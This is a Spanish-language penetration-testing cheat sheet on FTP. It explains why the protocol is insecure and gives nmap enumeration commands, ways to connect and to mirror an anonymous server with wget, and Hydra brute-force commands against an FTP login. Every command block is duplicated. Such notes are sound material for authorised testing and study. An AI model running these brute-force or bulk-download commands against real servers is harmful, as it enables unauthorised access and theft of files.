FTP Penetration Testing
Puerto por default: 20/21
¿Qué es FTP?
FTP (File Transfer Protocol) es un protocolo de red de la capa de aplicación(modelo OSI) diseñado para transferir archivos entre un cliente y un servidor en una red TCP/IP.
¿Para qué se usa?
Principalmente para subir, descargar, listar y gestionar archivos en servidores remotos.
Consideración de seguridad:
FTP es inseguro por diseño, ya que:
--------- > Puede ser interceptado fácilmente por ataques MITM o sniffing.
--------- > Transmite datos y credenciales en texto claro.
Alternativas seguras:
--------- > FTPS: FTP con TLS.
--------- > SFTP: No es FTP; es FTP sobre SSH (protocolo totalmente distinto y más seguro).
interactuar con FTP
Puedes realizar enumeracion manual utilizando NMAP:
find / -type f -name "ftp*" 2>/dev/null | grep scripts
sudo nmap --script "*FTP*" -p20,21 IP
sudo nmap -sV -p21 -sC -A IP
find / -type f -name "ftp*" 2>/dev/null | grep scripts
sudo nmap --script "*FTP*" -p20,21 IP
sudo nmap -sV -p21 -sC -A IP
Una de las formas comunes para interactuar con FTP es con la herramienta ftp, que se instala desde linux con el sigueinte comando:
sudo apt install ftp
sudo apt install ftp
En una instancia regular de FTP, puedes conectarte usando ftp o usar telnel:
ftp IP
nc -nv IP 21
telnet IP 21
ftp IP
nc -nv IP 21
telnet IP 21
Descargar todos los archivos dentro del servidor FTP
wget -m --no-passive ftp://anonymous:anonymous@IP
wget -m --no-passive ftp://anonymous:anonymous@IP
Conectarse al servidor FTP con TLS/SSL
openssl s_client -connect IP:21 -starttls ftp
openssl s_client -connect IP:21 -starttls ftp
Ahora que entendemos que es FTP y como podemos interactual con el, vamos a pasar a la explotacion de FTP
Fuerza bruta sobre servicio FTP con Hydra
Se puede utilizar la herramienta hydra para realizar ataques de fuerza bruta sobre el protocolo FTP
Flujo del ataque
# Cuando se tiene usuario valido
$ hydra -l admin -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
# Cuando se tiene un passwd valido
$ hydra -L /diccionario_de_usuarios -p P@ssw0r1 ftp://IP -VV -f -t 20
#Cundo no se tiene ningun dato valido
$ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
# Cuando se tiene usuario valido
$ hydra -l admin -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
# Cuando se tiene un passwd valido
$ hydra -L /diccionario_de_usuarios -p P@ssw0r1 ftp://IP -VV -f -t 20
#Cundo no se tiene ningun dato valido
$ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ftp://IP -VV -f -t 20
Es importante ver la respuesta del servidor ya que en ocasiones el servidor bloquea los intentos de autenticaciones y no permite realizar ataques de fuerza brute, mide el rango de peticiones por segundo